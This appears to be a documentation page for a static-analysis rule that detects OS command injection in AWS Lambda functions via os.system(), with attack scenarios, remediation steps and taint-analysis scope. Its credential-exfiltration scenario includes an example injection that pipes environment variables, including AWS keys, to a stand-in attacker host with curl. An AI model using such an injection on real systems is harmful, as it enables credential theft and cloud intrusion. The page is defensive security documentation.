Interactive Playground
Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.
pathfinder scan --ruleset python/PYTHON-LAMBDA-SEC-001 --project .About This Rule
Understanding the vulnerability and how it is detected
This rule detects OS command injection vulnerabilities in AWS Lambda functions where untrusted event data flows into os.system() calls.
Lambda functions receive input from the event dictionary, which is populated by triggers such as API Gateway, SQS, SNS, S3 event notifications, DynamoDB Streams, and EventBridge. Unlike web frameworks, Lambda has no built-in sanitization layer between the event payload and application code. Fields like event.get("body"), event.get("queryStringParameters"), event["pathParameters"], and event["Records"] are fully attacker-controllable when the trigger is a public API Gateway endpoint.
os.system() always passes its argument to the system shell (/bin/sh on Lambda's Amazon Linux 2 runtime). When event data is embedded in the command string, an attacker can inject shell metacharacters (semicolons, pipes, backticks, $() substitution) to run arbitrary commands. Lambda's short-lived execution model does not limit the impact: injected commands can exfiltrate environment variables (including AWS credentials from AWS_ACCESS_KEY_ID and AWS_SESSION_TOKEN), read /tmp contents, make outbound network calls to attacker infrastructure, and enumerate the execution environment for further attacks against the associated IAM role.
Security Implications
Potential attack scenarios if this vulnerability is exploited
AWS Credential Exfiltration
Every Lambda execution environment contains temporary AWS credentials in the environment variables AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN. An injected command like "; curl attacker.com/$(env | base64)" can exfiltrate these credentials, giving an attacker the full permissions of the Lambda's IAM execution role, which may include access to S3 buckets, DynamoDB tables, Secrets Manager, RDS, and other AWS services.
VPC Resource Pivoting
Lambda functions deployed inside a VPC have network access to internal resources such as RDS databases, ElastiCache clusters, and internal microservices. Command injection can be used to pivot from the public-facing Lambda to these protected internal resources that are otherwise unreachable from the internet.
/tmp Data Exfiltration
Lambda's /tmp directory (up to 512 MB) may contain cached data, temporary files, extracted archives, or decrypted secrets placed there by previous invocations. Injected commands can read and exfiltrate all of this data before the execution environment is reused or recycled.
Reverse Shell in Execution Environment
Attackers can use command injection to establish a reverse shell from within the Lambda execution environment, providing interactive access for the duration of the warm execution environment's lifetime and enabling manual exploration of the environment, installed libraries, and network access patterns.
How to Fix
Recommended remediation steps
- 1Replace all os.system() calls with subprocess.run() using a list of arguments and shell=False (the default), which prevents shell interpretation of metacharacters.
- 2Never use shell=True with any argument that originates from the Lambda event dictionary, query parameters, or any external input.
- 3Validate event fields with strict allowlists or regular expressions before they are used in any system call.
- 4Apply least-privilege IAM policies to the Lambda execution role so that credential exfiltration from command injection has minimal blast radius.
- 5Enable AWS CloudTrail and Lambda function URL access logs to detect unusual outbound patterns that may indicate active exploitation.
Detection Scope
How Code Pathfinder analyzes your code for this vulnerability
This rule performs inter-procedural taint analysis with global scope. Sources are Lambda event dictionary access calls: calls("event.get"), calls("event.__getitem__"), and attribute accesses on the event dict including event.get("body"), event.get("queryStringParameters"), event.get("pathParameters"), and event["Records"]. The sink is calls("os.system") with the tainted value tracked via .tracks(0) (the command string argument). Sanitizers include shlex.quote() for individual arguments and explicit allowlist membership checks. The analysis follows taint through variable assignments, function arguments, string concatenation, and f-string interpolation across module boundaries.
Compliance & Standards
Industry frameworks and regulations that require detection of this vulnerability
References
External resources and documentation
Similar Rules
Explore related security rules for Python
Lambda Command Injection via subprocess
Lambda event data flows to subprocess with shell=True or as a string command, enabling OS command injection in the Lambda execution environment.
Lambda Command Injection via os.spawn*()
Lambda event data flows to os.spawn*() functions, enabling process execution with attacker-controlled arguments in the Lambda execution environment.
Lambda Command Injection via asyncio.create_subprocess_shell()
Lambda event data flows to asyncio.create_subprocess_shell(), enabling OS command injection in async Lambda handlers.
Frequently Asked Questions
Common questions about Lambda Command Injection via os.system()
New feature
Get these findings posted directly on your GitHub pull requests
The Lambda Command Injection via os.system() rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.